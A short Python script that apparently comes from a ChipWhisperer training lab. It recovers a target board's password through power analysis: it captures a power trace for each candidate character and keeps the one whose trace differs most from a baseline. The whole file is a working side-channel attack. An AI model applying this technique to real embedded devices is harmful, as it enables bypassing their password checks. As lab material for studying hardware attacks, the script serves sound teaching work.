crack.py

import matplotlib.pylab as plt
import chipwhisperer as cw
import time

tries = 0

scope = cw.scope()
target_type = cw.targets.SimpleSerial
target = cw.target(scope, target_type)

scope.default_setup()

def reset_target(scope):
	scope.io.pdic = 'low'
	time.sleep(0.1)
	scope.io.pdic = 'high_z' #XMEGA doesn't like pdic driven high
	time.sleep(0.1) #xmega needs more startup time

scope.adc.samples = 500

def cap_pass_trace(pass_guess):
	reset_target(scope)
	num_char = target.in_waiting()
	while num_char > 0:
		target.read(num_char, 10)
		time.sleep(0.01)
		num_char = target.in_waiting()

	scope.arm()
	target.write(pass_guess)
	ret = scope.capture()
	if ret:
		print('Timeout happened during acquisition')

	trace = scope.get_last_trace()
	return trace

password = ""

valid = "abcdefghijklmnopqrstuvwxyz0123456789"

for i in range(5):
	trace_a = cap_pass_trace(password + "\x00\n")

	cur_key = "\0x0"
	cur_max = 0

	for char in valid:
		tries = tries + 1
		trace_h = cap_pass_trace(password + char + "\n")

		score = sum(abs(trace_a - trace_h))

		# print(password + char, score)

		if score > cur_max:
			cur_max = score
			cur_key = char

	password += cur_key
	print(password)

print(password, tries)